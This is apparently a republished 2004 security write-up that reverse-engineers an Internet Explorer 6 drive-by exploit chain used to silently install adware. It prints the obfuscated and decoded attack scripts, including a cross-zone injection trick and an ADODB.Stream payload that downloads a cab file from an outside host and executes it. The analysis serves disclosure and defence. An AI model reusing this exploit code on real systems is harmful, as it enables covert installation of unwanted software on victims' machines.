‘An Analysis of the 180 Solutions Trojan’


‘Just when Jemler though it was safe to once more to use internet explorer he received an email bringing his attention to this web page that appeared to used an exploit that affected fully patched Internet Explorer 6 browsers. Being rather skeptical Jemler carelessly clicked on the link only to witness how it automatically installed addware on his PC.

Now there had been reports about 0day exploits making rounds for quite some time like for instance this post:

However Jemler hadn’t seen any evidence to support this up until now. Thor Larholm added to the confusion by deliberately spreading disinformation as seen in this post: http://seclists.org/lists/bugtraq/2004/May/0153.html

Attributing it to and Jemler quotes ‘just one of the remaining IE vulnerabilities that are not yet patched’. This analysis will show that there are at least 2 new and as far as I know unpublished exploits (feel free to proof me wrong) out there in the wild, one being very sophisticated.’


‘The information has been provided by Jelmer.
The original article can be found at:


This is some serious handiwork. The first page we encounter installer.htm looks like this :
< SCRIPT language=’JScript.Encode’>#@~^/gAAAA==@#@&@#@&7lMP:HVK^P{P[W1Ehn
YR^GmmYkKU tM+6i@#@&hz^W^{m.D,’~hHVW^ kwskDcrgE*i@#@&:HDW{mD.P{Phz^Wmcdw^kYvE_D0r#I@#@&@#@&:zVK^P{
< Script language=’JScript.Encode’>#@~^GAIAAA==@#@&CMPsX/DD,xPvEU+kmC2`JufZ
kmDb2O]y!^lUo;CT+Y&GY y9C-m/m.raYY yY22YZfu!b6E
O]T9u!bYTG]Tbu{~]TG]Zb]Z,k4WSHGNmV9rmVWTY R] Fh[R4Ys]+GY+;hrx9Ghu
/Yy NrC^WLKK2u&)
Y4]2)Fu*/]2AY+y] O
VK^~_,E +dmC2`E/4nV^/^.bwYmsKl[+MmN/
ata]&wDW]2fE#,_~hHD+6~_,Exd^la+vJY*/YlZY FY&A]f/u*Z&j;I(n:Y22YyGu !u ZY
< SCRIPT language=’JScript.Encode’>#@~^VQEAAA==@#@&@#@&6E mYbW
~hbx[WS)lG Ex^Gl9`#@#@&`@#@&@#@&d.+O;Mx~0ms/i@#@&@#@&8@#@&@#@&d+DPb

The JavaScript code is encoded using The Windows Script Encoder (screnc.exe), a Microsoft tool that can be used to encode your scripts This encoding only prevents casual viewing of your code and is easily defeated If you’ve got some minutes to spare you can write your own decoder or if you’re lazy download a precompiled one from here: http://www.virtualconspiracy.com/scrdec.html you’ll see this encoding used throughout the entire exploit as a way to obfuscate it’s function and avoid detection by virus scanners
< html>
< body>

< script language=’javascript’>
var myloc = document.location.href;
myloc_arr = myloc.split(‘?’);
myref_arr = myloc.split(‘?ref’);

myloc = myloc_arr[0];
var myref = myref_arr[1];

var mylength = (myloc.length – 13);
myloc = myloc.substr(0,mylength);

< script language=’javascript’>
  var mystr = (unescape(‘%3Cscript%20language%3D%22Javascript%22%3E%0D%0Afunction%20InjectedDuringRedirection%28%29
%20%22javascript%3A%27%3CSCRIPT%20SRC%3D%5C%5C%27’) + myloc + unescape(‘shellscript_loader_js.php
%3Fref%3D’) + myref + unescape(‘%5C%5C%27%3E%3C%5C/script%3E%27%20%20%22%3B%0D%0A%0D%0A

< script language=’javascript’>
function window::onunload() {
  return false;
setTimeout(‘myiframe.execScript(‘InjectedDuringRedirection()’) ‘,101);
document.write(‘< IFRAME ID=myiframe NAME=myiframe SRC=’redir.php’ WIDTH=200 HEIGHT=200></IFRAME>’);


There are to things to note going on in this page
1. In the third script block it loads redir.php in an iframe named myiframe

This is a PHP script that loads ms-its:C:WINDOWSHelpiexplore.chm::/iegetsrt.htm In an iframe This shouldn’t be happening, from Internet explorer 6 SP1 on access to the local file system is disallowed Looking at the headers it would appears to be a variation of mindwarpers Oct 24 2003 find the new element being the URL: prefix which makes it work once more:
HTTP/1.1 302 Found
Date: Sat, 05 Jun 2004 21:24:19 GMT
Server: Apache/1.3.28 (Unix) mod_fastcgi/2.4.0 PHP/4.3.5
X-Powered-By: PHP/4.3.5
Location: URL:ms-its:C:WINDOWSHelpiexplore.chm::/iegetsrt.htm
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html

This file is located on the users hard disk, web pages accessed from the local computer are placed in the Local Machine zone, where they have the fewest security restrictions. Since local content is considered to be secure. However a lot of recent exploits have taken advantage of the Local Machine zone to elevate their privileges and compromise a computer. So by now we can see where this is heading, it’s the same modus operandi we’ve seen over and over in the past months, it goes something like this
 * Find an cross zone scripting exploit
 * Load a local trusted resource in an iframe
 * Inject JavaScript code in the trusted iframe using the cross zone scripting exploit to take over the computer, using the adodb.stream issue for instance

Another thing to note is that this file is deliberately not loaded immediately. It waits about 1.5 seconds before doing the redirect. Now up until now Jemler didn’t think there where anymore cross zone scripting exploits around, for sure there hasn’t been one reported to Bugtraq or any other security related list Jemler is subscribed to (as far as I know anyway).

So let’s dig deeper shall we
2. In the second script block it displays a model dialog

mystr is urlencoded when we decoded we get something approximating this
< script language=’Javascript’>
function InjectedDuringRedirection(){
  showModalDialog(‘md.htm’,window,’dialogTop:-10000;dialogLeft:-10000;dialogHeight:1; dialogWidth:1;’).location=’javascript:'< SCRIPT SRC=\’***MYLOC_HERE***shellscript_loader_js.php?ref=***MYREF_HERE***\’></script>”;


As you can see it’s initially loading a file called md.htm in a model dialog this file contains yet even more encoded scripting
< SCRIPT language=’JScript.Encode’>#@~^7AAAAA==@#@&hr NKhRM+D;D .CV!+~x,hk [WSRNbCsWTbMo;:nUD/I@#@&@#@&6EU^DkWU~;tnm0jDlO!/v#@#@&dP@#@&idODH Onsw.m.’Skx9GAR9kmVGo).TEh+ O/cVG^mYkGUct.+6I)mCDm4`+* Srx9WAR1VGd`#pN@#@&ddknOKb:W;YcE;tnm0jYmY;dv#JSqZ!bi@#@&i8@#@&d@#@&Z4+1V?DlOEk`bI@#

Which when we decode it becomes
< SCRIPT language=’javascript’>
window.returnValue = window.dialogArguments;

function CheckStatus(){


Ok lets see what we’ve got, the dialog argument passed to the function is the current window, it caches this object, and checks every 100 ms if it can access the location object of the window object, if the domain changes it will throw an security exception and the window will close itself
javascript:'< SCRIPT SRC=\’***MYLOC_HERE***shellscript_loader_js.php?ref=***MYREF_HERE***\’></script>”;

Which means the body of md.htm gets dropped and is replaced by a script include called shellscript_loader_js.php:
function getRealShell() {
myiframe.document.write(‘< SCRIPT SRC=’’></SCRIPT>’);

document.write(‘< IFRAME ID=myiframe SRC=’about:blank’ WIDTH=200 HEIGHT=200></IFRAME>’);

As you can see this script includes another script called shellscript_js.php that looks like this: shellscript_js.php

When we urldecode it looks like this
< SCRIPT language=’javascript’>
    function getPath() {
    /*ending with ‘/’*/
    return ‘’;

    function getRef() {
    /*ending with ‘/’*/
    return ‘undefined’;
</SCRIPT>< script language=’JScript.Encode’>#@~^HQQAAA==@#@&P~,P1l4alD4P{PEZ=-wr /YmsVcml(EI@#@&P,P~tOh^wCY4~’,J/l’-kUdDlsVc4D:Ep@#@&PP,P1C4`IJP{PE4DYw=&zDWW^8CDy
RbOsWGV!w mKhzDWGs(lD+&SkUN^2 1l(Ji@#@&,~P,tO:^j]J,’PTnYhlY4cbP3PrzrxdOmVsRa4wQDnW
#@&P,P,6^l8 U+UNvbi,@#@&~,PP@#@&,P~P7CMPd1l(P’,xAPzmOk7+p6(L+1O`rbf}9$RUYM+C:E
kmC8cHW[n,’~&p@#@&P~,Pkml(R:zwPxP8i@#@&,PP,dmm4R}2nxv#p@#@&P~~,/^l( MkOnv6mC8
cDn/aG /n~W9X#p@#@&~P,Pdmm4 jm+:GsbV+v^C4alDtS bI@#@&~P,~@#@&P~~,l.~XtO:,x,xnSPzmYbpr(LnmD`EbmDKdW6YRoJC:KhJbi~@#@&P~P,atD: 6a+xcEV2PJB4D:s`Id~!*i,@#@&,P~PXtOhc?+ [`*iP@#@&~P,P@#@&~P~~7l.Pk4YsV~x,x+A~zmOk7nor8N+1Y`rbG6f~RjYM+Chr#i@#@&P,PPk
4O:^RtW[+~x,&I@#@&~P,Pd4D:V PHwnP{~8i@#@&P,PPktDhVcr2+ `bI@#@&P,~PktYss MkD+c6
4OsR.+k2W /n$KNXbI@#@&~P,~ktOsVc?l7+:GsbVn`4YhsalY4S *i@#@&@#@&P,P,hxhrU9WARK
2+ `E/=–rUkYCV^ 4Yhr~,BNK{bU/DlsVE~~vDWW^8lM’!Bhnx!4mDx!Sd1DGV^8lM/xTB/YCO!/x
!S4ko4O’y!~,OGw{&Z!T!S~^+WY{q!BBbI@#@&P~~,/nV6 ^W^mYbWxctMn0,’~Jm4G;D)4^Cx0Ji@#

And when we finally remove the Script encoding it looks like this that we immediately recognize as the adodb.stream issue Jemler reported on Aug 26 2003:
< script language=’javascript’>
function getPath() {
/*ending with ‘/’*/
return ‘’;

function getRef() {
/*ending with ‘/’*/
return ‘undefined’;

< script language=’javascript’>
cabpath = ‘C:\install.cab’;
htmlpath = ‘C:\install.htm’;
cabURL = ‘http://toolbar2.i-lookup.com/toolbar2/windec32.cab’;
htmlURL = getPath() + ‘/install.php?ref=’ + getRef();

var xcab = new ActiveXObject(‘Microsoft.XMLHTTP’);

var scab = new ActiveXObject(‘ADODB.Stream’);
scab.Mode = 3;
scab.Type = 1;

var xhtm = new ActiveXObject(‘Microsoft.XMLHTTP’);

var shtml = new ActiveXObject(‘ADODB.Stream’);
shtml.Mode = 3;
shtml.Type = 1;

w=window.open(‘C:\install.htm’, ‘do_install’, ‘toolbar=0, menubar=0, scrollbars=0, status=0, resizable=0, width=20, height=20, top=30000, left=10,’);
self.location.href = ‘about:blank’;

When ran in the localzone this script would download 2 files to disk and execute them thus installing the ilookup toolbar http://toolbar2.i-lookup.com/toolbar2/windec32.cab to C:install.cab to c:install.htm

Lets reflect on what we’ve seen and attempt a reconstruction
1. redir.php is requested by the iframe but not immediately loaded because it uses PHP to create a 1.5 second lag
2. setTimeout(‘myiframe.execScript(InjectedDuringRedirection.toString())’,100); , InjectedDuringRedirection.toString is the text of the function so nothing gets executed, it just gets put on some kind of buffer
3. setTimeout(‘myiframe.execScript(‘InjectedDuringRedirection()’) ‘,101); calls the function step 2 placed on the buffer
4. This function creates a modal dialog and passes window as dialog argument, now this is where it gets weird, this window object is not the real window object but actually refers to the iframe you just dynamically created
5. redir.php completes loading and redirects to a local help file
6. md.htm can now no longer access the location object of the iframe , and throws an exception what causes the modal dialog to close
7 InjectedDuringRedirection now unblocks where it had blocked due to the modal dialog being called, the call returns the iframe from before the redirect changed it’s location, it got cached, which means we can call all of its methods, the code calls .location=’javascript:'< SCRIPT SRC=\’***MYLOC_HERE***shellscript_loader_js.php?ref=***MYREF_HERE***\’>”; to inject code in the trusted local resource which has elevated privileges

8. Thru the adodb.stream bug which only works in the local zone, 2 files are downloaded and started

What have we learned?
The Trojan uses several known and 2 previously unknown vulnerabilities in Internet Explorer the unknown ones being:
1. Location: URL: allows access to local resources
2. A cross zone access vulnerability

The latter being quite non trivial (whomever created this beast sure knew what he was doing but although I have the utmost respect for your work your still a scumbag for perverting it in this fashion) to install the ilookup toolbar from http://toolbar2.i-lookup.com/toolbar2/windec32.cab

A cleaned up harmless demonstration of techniques used in this exploit can be found here:

People who have not installed Internet Explorer Service Pack 1 can click here:

Alternatively you can download the files for the exploit here’

Categories: Reviews